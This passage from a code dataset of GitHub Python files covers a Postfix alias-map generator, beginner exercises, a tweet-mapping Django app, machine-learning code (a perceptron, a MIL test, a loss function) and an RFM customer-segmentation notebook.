django.utils import six\n\nimport kn.leden.entities as Es\nfrom kn.leden.date import now\n\n# TODO (issue #7) handle cycles properly.\n\n\ndef generate_postfix_map():\n tbl = daan_pb2.PostfixMap() # the virtual map\n non_mailman_groups = {}\n dt_now = now()\n id2email = {}\n # handle the straightforward cases\n for e in Es.all():\n if e.canonical_email is None:\n continue\n id2email[e._id] = e.canonical_email\n for nm in e.other_names:\n tbl.map[\"%s@%s\" % (nm, settings.MAILDOMAIN)].values.append(e.canonical_email)\n if e.type == 'user':\n tbl.map[e.canonical_email].values.append(e.email)\n elif e.type == 'group':\n if e.got_mailman_list and e.name:\n tbl.map[e.canonical_email].values.append('%s@%s' % (\n str(e.name), settings.LISTS_MAILDOMAIN))\n else:\n non_mailman_groups[e._id] = e\n else:\n logging.warn(\"postfix: unhandled type: %s\" % e.type)\n id_email = \"%s@%s\" % (e.id, settings.MAILDOMAIN)\n if id_email not in tbl.map:\n tbl.map[id_email].values.append(e.canonical_email)\n # handle the non-mailman groups\n for rel in Es.query_relations(_with=list(non_mailman_groups),\n _from=dt_now, until=dt_now, how=None):\n e = non_mailman_groups[rel['with']]\n email = id2email.get(rel['who'])\n if email is not None:\n tbl.map[e.canonical_email].values.append(email)\n return tbl\n\n\ndef generate_postfix_slm_map():\n # We generate the postfix \"sender_login_maps\".\n # This is used to decide by postfix whether a given user is allowed to\n # send e-mail as if it was coming from a particular e-mail address.\n # It is a dictionary { : [ , ... ] }\n tbl = dict()\n dt_now = now()\n # Get all users\n ulut = dict()\n # We only allow members to send e-mail\n for u in Es.by_name('leden').get_members():\n ulut[u._id] = u\n for name in u.names:\n if str(name) not in tbl:\n tbl[str(name)] = set()\n tbl[str(name)].add(str(u.name))\n # There are two kind of groups: groups whose members are allowed to\n # send e-mail as if coming from the group itself and those where this\n # is not allowed. For convenience, lets call the first kind the\n # impersonatable groups.\n # Get all impersonatable groups and create a look-up-table for\n # group membership\n gs = list()\n for g in Es.groups():\n # TODO add a tag to force a group either impersonatable or not\n if not g.got_mailman_list:\n gs.append(g)\n mrels = Es.query_relations(how=None, _with=gs, _from=dt_now, until=dt_now)\n mlut = dict()\n for g in gs:\n mlut[g._id] = []\n for mrel in mrels:\n mlut[mrel['with']].append(mrel['who'])\n # Flatten out group membership. For instance: if Giedo is in Kasco\n # and Kasco is in Boekenlezers, then Giedo is also in the Boekenlezers\n # unix group.\n # But first split the mlut graph into a impersonatable group\n # and a non-group subgraph.\n mlut_g = {} # { : }\n mlut_u = {} # { : }\n for g_id in mlut:\n mlut_g[g_id] = [c for c in mlut[g_id] if c in mlut]\n mlut_u[g_id] = [c for c in mlut[g_id] if c in ulut]\n mlut_g_tc = tc(mlut_g) # transitive closure\n for g in gs:\n to_consider = tuple(mlut_g_tc[g._id]) + (g._id,)\n for sg_id in to_consider:\n for u_id in mlut_u[sg_id]:\n for name in g.names:\n if str(name) not in tbl:\n tbl[str(name)] = set()\n tbl[str(name)].add(str(ulut[u_id].name))\n # Clean up tbl to return.\n ret = daan_pb2.PostfixMap()\n for name, users in six.iteritems(tbl):\n if not users:\n continue\n ret.map[\"%s@%s\" % (name, settings.MAILDOMAIN)].values.extend(users)\n return ret\n\n# vim: et:sta:bs=2:sw=4:\n","repo_name":"karpenoktem/kninfra","sub_path":"kn/utils/giedo/postfix.py","file_name":"postfix.py","file_ext":"py","file_size_in_byte":4202,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"37"} +{"seq_id":"30574796433","text":"import math\n\nx1, y1 = input().split(\" \")\nx2, y2 = input().split(\" \")\nx1 = float(x1)\nx2 = float(x2)\ny1 = float(y1)\ny2 = float(y2)\n\nd = (x2 - x1)**2 + (y2 - y1)**2\n\nprint(\"{:.4f}\".format(math.sqrt(d))) ","repo_name":"develis/uri-python","sub_path":"1015 - Distância Entre Dois Pontos.py","file_name":"1015 - Distância Entre Dois Pontos.py","file_ext":"py","file_size_in_byte":200,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"4336651528","text":"import pandas as pd\nimport csv\nimport ast\nimport collections\nfrom wordcloud import WordCloud, STOPWORDS, ImageColorGenerator\nimport matplotlib.pyplot as plt\nfrom collections import Counter\n\n\ndf = pd.read_csv('Search.csv')\n\ndef commonWordsList(column):\n \"\"\"\n Given a column, this method turns it into a list and then flattens the list\\\n of lists (since the entries are also lists), and then returns the top 4\\\n most common entries (with the number of instances) as a tuple.\n\n Parameter column: Column of a DataFrame to be analyzed\n Precondition: column of a DataFrame\n Example: \"Keywords\"\n \"\"\"\n l = df[column].tolist()\n list = [inner for item in l for inner in ast.literal_eval(item)] #flatten the list\n counter = collections.Counter(list)\n return(counter.most_common()[:4])\n\ndef commonWords(column, c2 = [], c3 = []):\n \"\"\"\n Given a column(s) (that is practically a 1D list without any nested lists),\\\n this method turns it into a list, and then returns the top 4 most common \\\n entries. If more there is more than 1 column provided, it turns all given \\\n columns into lists, joins them to create a single bigger list, and then \\\n returns the top 4 most common entries (with the number of instances) as a \\\n tuple\n\n Parameter column: Column of a DataFrame to be analyzed\n Paramater c2: Column of a DataFrame to be analyzed\n Parameter c3: Column of a DataFrame to be analyzed\n Precondition (for all parameters): column of a DataFrame\n Example: \"Director, Lead_Actor\"\n \"\"\"\n l1 = df[column].tolist()\n l = l1\n if (c2 != [] and c3 != []):\n l2 = df[c2].tolist()\n l3 = df[c3].tolist()\n l = l1 + l2 + l3\n counter = collections.Counter(l)\n return(counter.most_common()[:4])\n\ndef makePlot(column):\n d = df.groupby(\"Director\")\n plt.figure(figsize=(12,8))\n d.size().sort_values(ascending=False).plot.bar()\n plt.xticks(rotation=50)\n plt.xlabel(\"Name of Director\")\n plt.ylabel(\"Number of Liked Movies\")\n plt.savefig(\"myPlot\"+\".png\", bbox_inches='tight')\n plt.show()\n plt.close()\n\ndef makeWordCloud(column):\n list = df[column].tolist()\n my_list = [inner for item in list for inner in ast.literal_eval(item)]\n word_could_dict=Counter(my_list)\n wordcloud = WordCloud(width = 1000, height = 500).generate_from_frequencies\\\n (word_could_dict)\n\n plt.figure(figsize=(15,8))\n plt.imshow(wordcloud)\n plt.axis(\"off\")\n plt.savefig(\"myWorldCloud\"+\".png\", bbox_inches='tight')\n plt.show()\n plt.close()\n\nmeanBudget = df[\"Budget\"].mean()\nmeanDuration = df[\"Duration\"].mean()\nmeanRating = df[\"IMDb_Rating\"].mean()\nmeanRevenue = df[\"Revenue\"].mean()\ntopGenres = commonWordsList(\"Genres\")\ntopKeywords = commonWordsList(\"Keywords\")\ntopDirectors = commonWords(\"Director\")\ntopActors = commonWords(\"Lead_Actor\", \"Supporting_Actor_1\", \"Supporting_Actor_2\")\nmakeWordCloud(\"Keywords\")\nmakePlot(\"Genres\")\n","repo_name":"keethu-ram/Movie-Analysis","sub_path":"analysis.py","file_name":"analysis.py","file_ext":"py","file_size_in_byte":2935,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"21"} +{"seq_id":"10844614264","text":"import sys\ninput = sys.stdin.readline\nn, m = map(int, input().rstrip().split())\ndatas = list(map(int, input().rstrip().split()))\ndatas.sort()\ndef backtracking(start, to, l, nums, m):\n if len(l) == m:\n print(*l)\n return\n for i in range(start, to):\n l.append(nums[i])\n backtracking(i, to, l, nums, m)\n l.pop()\nbacktracking(0, n, [], datas, m)","repo_name":"K1A2/algorithm_python","sub_path":"baekjoon/backtracking/15657_N과M_8.py","file_name":"15657_N과M_8.py","file_ext":"py","file_size_in_byte":381,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"71455298612","text":"# CHAPTER FOUR TRY IT YOURSELF\n\n# 4-6 Odd Numbers\n# Use the third argument of the range() function to make a list of\n# the odd numbers from 1 to 20. Use a 'for' loop to print each\n# number.\n\noddnumbers = list(range(1, 21, 2))\n\nfor oddnumber in oddnumbers:\n\tprint(oddnumber)\n\n# Can you do a list comprehension there?\n\n","repo_name":"ctrlshftejct/pythoncc","sub_path":"2019/chapter4/tiy_oddnumbers.py","file_name":"tiy_oddnumbers.py","file_ext":"py","file_size_in_byte":317,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"6402574390","text":"#!/usr/bin/python3\n\n# Deletes all of the Transplanting logs and possibly the Planting assets.\n\n# Most transplantings rely on existing Plantings from traySeedings\n# By default those Plantings are not deleted. \n# This allows the addTransplantings.py script to be run again.\n# However, plantings created for directly transplanted crops that arrived in trays\n# will be deleted by default, because they are recreated by the addTransplantings.py script.\n\n# Addng the command line argument \"all\" will cause this script to also \n# delete the preexisting Planting assets from the traySeedings.\n\nfrom utils import *\n\ndef main():\n\n print(\"Deleting Transplantings...\")\n\n delAllPlantings = False\n if (len(sys.argv) == 2 and sys.argv[1] == 'all'):\n print(\" Deleting all Plantings\")\n delAllPlantings = True\n\n # Delete any transplantings that exist.\n deleteAllLogs('http://localhost/log.json?type=farm_transplanting')\n\n # Delete all of the Plantings created specifically for transplantings\n deleteAllAssets('http://localhost/farm_asset.json?type=planting&name[sw]=0000-00-00')\n\n if delAllPlantings:\n deleteAllAssets('http://localhost/farm_asset.json?type=planting')\n\n # Delete the transplanting category that was added.\n deleteSeedingCategory(\"Transplantings\")\n\n print(\"Transplantings deleted.\")\n\nif __name__ == \"__main__\":\n main()","repo_name":"cmacdonell/GitKit-FarmData2","sub_path":"docker/sampleDB/deleteTransplantings.py","file_name":"deleteTransplantings.py","file_ext":"py","file_size_in_byte":1374,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"41239508077","text":"from django.conf import settings\nfrom django.http import JsonResponse\nfrom django.shortcuts import render\nfrom elasticsearch import Elasticsearch, RequestsHttpConnection\nfrom multiprocessing import Process\nfrom requests_aws4auth import AWS4Auth\nimport json\nimport math\nimport tweepy\n\nconsumer_key = ''\nconsumer_secret = ''\naccess_token = ''\naccess_token_secret = ''\n\naws_access_key_id = ''\naws_secret_access_key = ''\nregion = 'us-east-2'\n\nhost = ''\nawsauth = AWS4Auth(aws_access_key_id, aws_secret_access_key, region, 'es')\n\nes = Elasticsearch(\n\thosts=[{'host': host, 'port': 443}],\n\thttp_auth=awsauth,\n\tuse_ssl=True,\n\tverify_certs=True,\n\tconnection_class=RequestsHttpConnection\n)\n\ntweets = []\ntrends = []\n\nclass StreamListener(tweepy.StreamListener):\n\t\n\tdef __init__(self, api):\n\t\tself.api = api\n\t\tsuper(tweepy.StreamListener, self).__init__()\n\t\tself.count = settings.COUNT\n\n\tdef on_data(self, tweet):\n\t\t# while True:\n\t\twhile self.count<=1000:\n\t\t\tres = es.index(index=\"tweet-index\", doc_type='tweet', id=self.count, body=tweet)\n\t\t\tself.count+=1\n\t\t\treturn True\n\n\tdef on_error(self, status_code):\n\t\tprint(\"status_code = \",status_code)\n\t\tif status_code == 420:\n\t\t\treturn False\n\ndef ajax_process(request):\n\tif settings.COUNT<=100000:\n\t\tfor i in range(settings.COUNT, settings.COUNT+100):\n\t\t\tres = es.get(index=\"tweet-index\", doc_type='tweet', id=i)\n\t\t\ttweets.append(res['_source'])\n\t\tsettings.COUNT+=100\n\t\t\n\t\tlanguages = []\n\t\tlatitude = []\n\t\tlongitude = []\n\t\ttweet_id = []\n\t\ttweet_text = []\n\t\tuser_profile_image_url = []\n\t\tuser_screen_name = []\n\t\t\n\t\tlanguages, latitude, longitude, tweet_id, tweet_text, user_profile_image_url, user_screen_name = process_tweets(tweets)\n\t\t\n\t\treturn JsonResponse({\"tweet_data\" : tweets, \"latitude\": latitude, \"longitude\": longitude, \"languages\": languages,\n\t\t\t\"user_profile_image_url\": user_profile_image_url, \"user_screen_name\": user_screen_name, \"tweet_id\": tweet_id, \"tweet_text\": tweet_text})\n\telse:\n\t\treturn JsonResponse({})\n\ndef index(request):\n\tif settings.FLAG==0:\n\t\tsettings.FLAG = 1\n\t\tp1 = Process(target = twitter_stream)\n\t\tp1.start()\t\n\treturn render(request, 'TweetMap/index.html', {})\n\ndef process_tweets(tweet_list):\n\tlanguages = []\n\tlatitude = []\n\tlongitude = []\n\ttweet_id = []\n\ttweet_text = []\n\tuser_profile_image_url = []\n\tuser_screen_name = []\n\t\n\tlanguages = list(map(lambda tweet: tweet['lang'] if 'lang' in tweet\n\t\t\t\t\t\tand tweet['lang'] != None else 'NaN', tweet_list))\n\n\ttweet_id = list(map(lambda tweet: tweet['id'] if 'id' in tweet\n\t\t\t\t\t\telse 'NaN', tweet_list))\n\t\n\ttweet_text = list(map(lambda tweet: tweet['text'] if 'text' in tweet\n\t\t\t\t\t\telse 'NaN', tweet_list))\n\n\tuser_profile_image_url = list(map(lambda tweet: tweet['user']['profile_image_url_https'] if 'user' in tweet\n\t\t\t\t\t\telse 'NaN', tweet_list))\n\t\n\tuser_screen_name = list(map(lambda tweet: tweet['user']['screen_name'] if 'user' in tweet\n\t\t\t\t\t\telse 'NaN', tweet_list))\n\t\n\tlatitude = list(map(lambda tweet: tweet['coordinates']['coordinates'][1]\n\t\t\t\t\t\tif 'coordinates' in tweet and tweet['coordinates'] != None\n\t\t\t\t\t\telse float(float(tweet['place']['bounding_box']['coordinates'][0][1][1]\n\t\t\t\t\t\t\t\t\t+ tweet['place']['bounding_box']['coordinates'][0][3][1])/2)\n\t\t\t\t\t\tif 'place' in tweet and tweet['place']!=None \n\t\t\t\t\t\telse 'NaN', tweet_list))\n\n\tlongitude = list(map(lambda tweet: tweet['coordinates']['coordinates'][0]\n\t\t\t\t\t\tif 'coordinates' in tweet and tweet['coordinates'] != None \n\t\t\t\t\t\telse float(float(tweet['place']['bounding_box']['coordinates'][0][1][0]\n\t\t\t\t\t\t\t\t\t+ tweet['place']['bounding_box']['coordinates'][0][3][0])/2)\n\t\t\t\t\t\tif 'place' in tweet and tweet['place']!=None else 'NaN', tweet_list))\n\n\tlongitude = list(map(float, longitude))\n\tlongitude = [999 if math.isnan(i) else i for i in longitude]\n\tlatitude = list(map(float, latitude))\n\tlatitude = [999 if math.isnan(i) else i for i in latitude]\n\n\treturn languages, latitude, longitude, tweet_id, tweet_text, user_profile_image_url, user_screen_name\n\ndef search_query(request):\n\tsearch_results = []\n\tif request.method == \"POST\":\n\t\tsearch_term = request.POST.get('search_bar')\n\t\tdropdown_option = 0\n\t\tis_dropdown_search = request.POST.get('is_dropdown_search')\n\t\tdropdown_dict = {'cat':1,'dog':2,'cricket':3,'football':4,'modi':5,'trump':6,'song':7,'vacation':8,'offer':9,'sale':10}\n\t\t\n\t\tif is_dropdown_search==\"1\":\n\t\t\tdropdown_option = dropdown_dict.get(search_term)\n\t\t\n\t\tquery = json.dumps({\n\t\t\t\"query\": {\n\t\t\t\t\"match\": {\n\t\t\t\t\t\"text\": search_term\n\t\t\t\t}\n\t\t\t}\n\t\t})\n\t\tres = es.search(index=\"tweet-index\", body=query)\n\t\tfor hit in res['hits']['hits']:\n\t\t\tsearch_results.append(hit[\"_source\"])\n\t\t\n\t\tlanguages = []\n\t\tlatitude = []\n\t\tlongitude = []\n\t\ttweet_id = []\n\t\ttweet_text = []\n\t\tuser_profile_image_url = []\n\t\tuser_screen_name = []\n\n\t\tif len(search_results)>0:\n\t\t\tlanguages, latitude, longitude, tweet_id, tweet_text, user_profile_image_url, user_screen_name = process_tweets(search_results)\n\n\treturn render(request, 'TweetMap/results.html',\n\t\t{'latitude': latitude, 'longitude': longitude,'languages': languages, 'dropdown_option':dropdown_option,\n\t\t'user_profile_image_url': user_profile_image_url, 'user_screen_name': user_screen_name, 'tweet_id': tweet_id, 'tweet_text': tweet_text})\n\ndef twitter_stream():\n\tauth = tweepy.OAuthHandler(consumer_key, consumer_secret)\n\tauth.set_access_token(access_token, access_token_secret)\n\tapi = tweepy.API(auth)\n\ttrends = api.trends_place(1)\n\t# for location in trends:\n\t# \tfor trend in location[\"trends\"]:\n\t\t\t# trends.append(trend[\"name\"])\n\t\t\t# print(trend[\"name\"])\n\tstream_listener = StreamListener(api)\n\tstream = tweepy.Stream(auth=api.auth, listener=stream_listener)\n\tstream.filter(locations=[-180,-90,180,90])\n","repo_name":"tronak19/TweetMap","sub_path":"ebdjango/TweetMap/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":5631,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"13588344402","text":"import sys\nimport os\n\nsys.path.append(os.path.join(os.path.dirname(os.path.abspath(__file__)), \"..\"))\nimport pytest\nfrom itertools import product\n\nimport torch\nfrom lib.modules.classification.classification.multiple_instance_learning import (\n MultipleInstanceClassifier,\n get_adn_fn,\n)\n\nbatch_size = 4\ninput_dim = 1\ninput_dim_mil = 32\nclassification_structure = [32, 16]\nfeat_extraction_structure = [32, 16]\nn_slices = 8\nn_classes = 2\nadn_fn = get_adn_fn(1, \"identity\", \"gelu\", 0.1)\n\n\n@pytest.mark.parametrize(\n \"classification_mode,attention\",\n product([\"mean\", \"max\", \"vocabulary\"], [True, False]),\n)\ndef test_mil(classification_mode, attention):\n mod = MultipleInstanceClassifier(\n module=torch.nn.Conv2d(input_dim, input_dim_mil, 3),\n module_out_dim=input_dim_mil,\n n_classes=n_classes,\n feat_extraction_structure=feat_extraction_structure,\n classification_structure=classification_structure,\n classification_mode=classification_mode,\n classification_adn_fn=adn_fn,\n n_slices=n_slices,\n use_positional_embedding=False,\n attention=attention,\n dim=2,\n )\n input_tensor = torch.rand(batch_size, input_dim, 32, 32, n_slices)\n output = mod(input_tensor)\n assert list(output.shape) == [\n batch_size,\n 1 if n_classes == 2 else n_classes,\n ]\n","repo_name":"CCIG-Champalimaud/adell-mri","sub_path":"testing/test_mil.py","file_name":"test_mil.py","file_ext":"py","file_size_in_byte":1359,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"21"} +{"seq_id":"11362554925","text":"import numpy as np\n\n\nclass Perceptron:\n def __init__(self, n_class: int, lr: float, epochs: int):\n \"\"\"Initialize a new classifier.\n\n Parameters:\n n_class: the number of classes\n lr: the learning rate\n epochs: the number of epochs to train for\n \"\"\"\n self.w = None\n self.lr = lr\n self.epochs = epochs\n self.n_class = n_class\n\n def train(self, X_train: np.ndarray, y_train: np.ndarray):\n \"\"\"Train the classifier.\n\n Use the perceptron update rule as introduced in the Lecture.\n\n Parameters:\n X_train: a number array of shape (N, D) containing training data;\n N examples with D dimensions\n y_train: a numpy array of shape (N,) containing training labels\n \"\"\"\n N, D = X_train.shape\n\n #self.w = np.random.rand(self.n_class,D) # create a weight matrix of shape (1,D)\n self.w = np.zeros((self.n_class,D))\n #print(self.w)\n #print(self.w.shape)\n #print(y_train[0:20])\n for iter in range(self.epochs):\n #if iter > 5:\n # self.lr = 0.5\n for example_num in range(N):\n x = X_train[example_num]\n y_label = y_train[example_num]\n y_hat_list = np.dot(self.w, x) # get the dot product of weight and feature\n #print(y_label,y_hat_list)\n y_hat_max = np.argmax(y_hat_list)\n\n if y_label == y_hat_max:\n pass\n else: # update weight\n y_yi = y_hat_list[y_label] # correct label w^T_yi*xi\n #y_c = np.argwhere(y_hat_list > y_yi).reshape(1,-1) # all labels higher than y_yi\n\n coef_x = (self.lr)*x\n\n for class_num in range(self.n_class):\n if iter == 0:\n #if class_num == y_label:\n self.w[y_label] = self.w[y_label] + coef_x\n #else:\n self.w[class_num] = self.w[class_num] - coef_x\n\n if y_hat_list[class_num] > y_yi:\n self.w[y_label] = self.w[y_label] + coef_x\n self.w[class_num] = self.w[class_num] - coef_x\n\n def predict(self, X_test: np.ndarray) -> np.ndarray:\n \"\"\"Use the trained weights to predict labels for test data points.\n\n Parameters:\n X_test: a numpy array of shape (N, D) containing testing data;\n N examples with D dimensions\n\n Returns:\n predicted labels for the data in X_test; a 1-dimensional array of\n length N, where each element is an integer giving the predicted\n class.\n \"\"\"\n N, D = X_test.shape\n labels = np.zeros((N))\n #print(self.w.shape)\n for example_num in range(N):\n x = X_test[example_num]\n y_hat = np.dot(self.w,x)\n labels[example_num] = np.argmax(y_hat)\n\n\n return labels","repo_name":"kulbir-ahluwalia/Linear_classifiers","sub_path":"assignment1/models/perceptron.py","file_name":"perceptron.py","file_ext":"py","file_size_in_byte":2941,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"25442891954","text":"# %%\nimport tensorflow as tf\n\n\n@tf.function\ndef mse(y_actual, y_pred):\n valid = tf.cast(tf.math.reduce_max(y_actual, axis=(1, 2)) > 0, dtype=tf.float32)\n valid_mask = tf.reshape(valid, [tf.shape(y_actual)[0], 1, 1, tf.shape(valid)[-1]])\n return tf.reduce_mean(tf.square(y_actual - y_pred) * valid_mask)\n\n\n# %%\nif __name__ == \"__main__\":\n\n a = tf.constant([\n [1, 2],\n [1, 2]\n ], dtype=tf.float32)\n b = tf.math.multiply(0.5, a)\n\n\n# %%\n","repo_name":"Qlanowski/rangle","sub_path":"cost_functions.py","file_name":"cost_functions.py","file_ext":"py","file_size_in_byte":465,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"24622242893","text":"#!/usr/bin/env python\n# coding: utf-8\n\n# In[ ]:\n\n\nget_ipython().run_line_magic('run', '\"rfm and cust_segm..ipynb\"')\n\n\n# In[ ]:\n\n\nrfm_df_new\n\n\n# # in this , we will make clusters on RFM analysis data using K-means , unlike previous N.B in which we declared our own segments\n\n# \n\n# In[ ]:\n\n\n# we have already checked the skewness and have also applied log transformation\n# in the previous notebool\n\n\n# In[ ]:\n\n\nrfm_df_new\n\n\n# Now we create new df of required columns for KNN/\n# \n\n# In[ ]:\n\n\nrfm_df_new1 = df[[ 'cust_id', 'Recency' , 'Frequency' , 'MonetaryValue' ,'RFM_Score' ]]\nrfm_df_new1\n\n\n# In[ ]:\n\n\ngrouped_by_cust_id = rfm_df_new1.groupby('cust_id')\nmean_values_by_cust_id = grouped_by_cust_id.mean()\n\nrfm_df_new1 = mean_values_by_cust_id\n\n\n# In[ ]:\n\n\nrfm_df_new1\n\n\n# In[ ]:\n\n\n\n\n\n# before applying standard scaler , we will apply label encoding because the\n# \"cust_id\" column is of string data type in df rfm_df_new\n\n# In[ ]:\n\n\nle = LabelEncoder()\n\n\n# In[ ]:\n\n\n#Get list of categorical variables\ns = (rfm_df_new1.dtypes == 'object')\nobject_cols = list(s[s].index)\n\nprint(\"Categorical variables in the dataset:\", object_cols)\n\n\n# In[ ]:\n\n\nfor i in object_cols:\n rfm_df_new1[i]=rfm_df_new1[[i]].apply(le.fit_transform)\nprint('all features are now numerical') \n\n\n# In[ ]:\n\n\n\n\n\n# now we apply standard scaling\n\n# In[ ]:\n\n\nscaler = StandardScaler()\nscaler.fit(rfm_df_new1)\nrfm_scaled = pd.DataFrame(scaler.transform(rfm_df_new1),columns=rfm_df_new1.columns)\n\n\n# In[ ]:\n\n\nrfm_scaled\n\n\n# # K-means Clustering\n\n# In[ ]:\n\n\nwcss = []\n\nfor i in range(1,11):\n kmeans = KMeans(n_clusters=i , random_state=0)\n kmeans.fit(rfm_scaled)\n wcss.append(kmeans.inertia_)\n\n\nplt.figure(figsize=(8, 6))\nplt.plot(range(1, 11), wcss, marker='o', linestyle='--')\nplt.title('Elbow Method')\nplt.xlabel('Number of Clusters (i)')\nplt.ylabel('WCSS')\n\nplt.show()\n\n \n\n\n# In[ ]:\n\n\nkmeans= KMeans(n_clusters=4, random_state=0)\n\ny_predict = kmeans.fit_predict(rfm_scaled)\n\nrfm_scaled['clusters'] = y_predict\n\n\n\n# y_predict = kmeans.fit_predict(rfm_scaled): Fits the KMeans model to the dataset pca_ds and obtains the cluster labels for each data point. \n# \n# rfm_scaled['clusters'] = y_predict: Creates a new column named 'clusters' in the rfm_scaled DataFrame and assigns the cluster labels obtained from the KMeans model.\n# \n# rfm_scaled['clusters'] = y_predict: If there's another DataFrame named rfm_scaled, it adds a new column named 'clusters' to it and assigns the same cluster labels obtained from the KMeans model\n# \n# \n# After running this code, both rfm_scaled and df will have a new column named 'clusters' that contains the assigned cluster labels based on the KMeans clustering. Each row in these DataFrames is now associated with a cluster label indicating to which cluster the corresponding data point belongs.\n\n# In[ ]:\n\n\n#Plot the clusters\n\ncmap = matplotlib.cm.viridis\n\n\n\nx = rfm_scaled['Recency']\ny = rfm_scaled['Frequency']\nz = rfm_scaled['MonetaryValue']\n\nfig = plt.figure(figsize=(10,8))\nax = plt.subplot(111, projection='3d', label=\"bla\")\nax.scatter(x, y, z, s=40, c=rfm_scaled[\"clusters\"], marker='o', cmap = cmap )\nax.set_title(\"The Plot Of The Clusters\")\nplt.show()\n\n\n# plotting above graph using plotly.express\n\n# In[ ]:\n\n\nimport plotly.express as px\n\n#m Assuming you have the following dataframes and variables\n\nx = rfm_scaled['Recency']\ny = rfm_scaled['Frequency']\nz = rfm_scaled['MonetaryValue']\n\nclusters = rfm_scaled['clusters']\n\nfig = px.scatter_3d(rfm_scaled, x=x, y=y, z=z, color=clusters, size_max=10, opacity=0.7,\n title=\"The Plot Of The Clusters\")\nfig.show()\n\n\n# In[ ]:\n\n\nrfm_scaled\n\n\n# In[ ]:\n\n\nrfm_scaled['RFM_Score'].max()\n\n\n# In[ ]:\n\n\nrfm_scaled['RFM_Score'].min()\n\n\n# we observe that max and min values are not scaled , hence first we will normalize\n# the values so that it is easy to create segments\n\n# In[ ]:\n\n\nrfm_scaled['RFM_Score'] = (rfm_scaled['RFM_Score'] - rfm_scaled['RFM_Score'].min()) / (rfm_scaled['RFM_Score'].max() - rfm_scaled['RFM_Score'].min())\n\n# Subtract the minimum value from each element in the 'RFM_Score' column\n# Divides the result from the previous step by the range ( max-min) of the 'RFM_Score' column.\n# Finally, the normalized values are assigned back to the 'RFM_Score' \n\n\n# In[ ]:\n\n\nrfm_scaled['RFM_cust_seg'] = ''\n\nrfm_scaled.loc[rfm_scaled['RFM_Score'] >= 0.75, 'RFM_cust_seg'] = 'Champions'\nrfm_scaled.loc[(rfm_scaled['RFM_Score'] >= 0.5) & (rfm_scaled['RFM_Score'] < 0.75), 'RFM_cust_seg'] = 'Potential Loyalists'\nrfm_scaled.loc[(rfm_scaled['RFM_Score'] >= 0.25) & (rfm_scaled['RFM_Score'] < 0.5), 'RFM_cust_seg'] = 'At Risk Customers'\nrfm_scaled.loc[(rfm_scaled['RFM_Score'] >= 0) & (rfm_scaled['RFM_Score'] < 0.25), 'RFM_cust_seg'] = \"Can't Lose\"\n\n\n# In[ ]:\n\n\nrfm_scaled['RFM_cust_seg'].value_counts()\n\n\n# In[ ]:\n\n\n\n\n\n# In[ ]:\n\n\n# Get the cluster labels for each data point\ncluster_labels = kmeans.labels_\n\n# Calculate the cluster size of each cluster\ncluster_sizes = np.unique(cluster_labels, return_counts=True)[1]\n\n# Print the cluster sizes\nprint(cluster_sizes)\n\n\n# pie chart for cluster distribution\n\n# In[ ]:\n\n\nimport matplotlib.pyplot as plt\n\n# Example cluster distribution data (replace with your actual data)\ncluster_labels = ['Cluster 1', 'Cluster 2', 'Cluster 3', 'Cluster 4']\ncluster_sizes = [245,219,266,63] # Replace with the sizes of your clusters\n\n# Create a pie chart\nplt.figure(figsize=(6, 6))\nplt.pie(cluster_sizes, labels=cluster_labels, autopct='%1.1f%%', startangle=140)\nplt.axis('equal') # Equal aspect ratio ensures that pie is drawn as a circle.\n\n# Add a title\nplt.title('Cluster Distribution')\n\n# Show the pie chart\nplt.show()\n\n\n# # Summarizing my findings\n\n# In[ ]:\n\n\ndef rfm_values(rfm_sclaed):\n df_new = rfm_scaled.groupby(['clusters']).agg({\n 'Recency': 'mean',\n 'Frequency': 'mean',\n 'MonetaryValue': ['mean', 'count']\n }).round(0)\n \n return df_new\n\nrfm_values(rfm_scaled)\n\n\n# # Conclusion\n\n# # 1. Cluster 0\n\n# \n# Recency: The mean Recency value is 0.0, suggesting that customers in this cluster have made recent purchases.\n# \n# Frequency: The mean Frequency value is 1.0, indicating a high frequency of purchases. Customers in this cluster are making purchases frequently.\n# \n# MonetaryValue: The mean MonetaryValue is close to 0.0, suggesting moderate spending. Customers in this cluster are spending at a moderate level.\n# \n# Count: This cluster has a count of 245, indicating a significant number of customers.\n\n# # 2. Cluster 1\n\n# \n# Recency: The mean Recency value is 1.0, indicating that customers in this cluster have not made recent purchases.\n# \n# Frequency: The mean Frequency value is -1.0, suggesting low frequency or no recent purchases. Customers in this cluster are not making purchases frequently.\n# \n# MonetaryValue: The mean MonetaryValue is close to 0.0, indicating average spending. Customers in this cluster are spending at an average level.\n# \n# Count: This cluster has a count of 219, suggesting a notable number of customers.\n\n# # 3. Cluster 2\n\n# \n# Recency: The mean Recency value is close to 0.0, suggesting that customers in this cluster have made recent purchases.\n# \n# Frequency: The mean Frequency value is -1.0, suggesting low frequency or no recent purchases. Customers in this cluster are not making purchases frequently.\n# \n# MonetaryValue: The mean MonetaryValue is close to 0.0, suggesting moderate spending. Customers in this cluster are spending at a moderate level.\n# \n# Count: This cluster has the highest count, with 266 customers, indicating it is the largest segment.\n\n# # 4. Cluster 3\n\n# \n# Recency: The mean Recency value is close to 0.0, suggesting recent activity.\n# \n# Frequency: The mean Frequency value is 2.0, indicating a very high frequency of purchases. Customers in this cluster are making purchases very frequently.\n# \n# MonetaryValue: The mean MonetaryValue is 2.0, suggesting high spending. Customers in this cluster are high spenders.\n# \n# Count: This cluster has a count of 63, indicating the smallest group of customers.\n\n# # in summary\n\n# Cluster 0 represents customers who are recent and moderate spenders but make purchases frequently.\n# \n# Cluster 1 represents customers who have not made recent purchases and have average spending.\n# \n# Cluster 2 represents a large group of customers who are recent and moderate spenders but do not make purchases frequently.\n# \n# Cluster 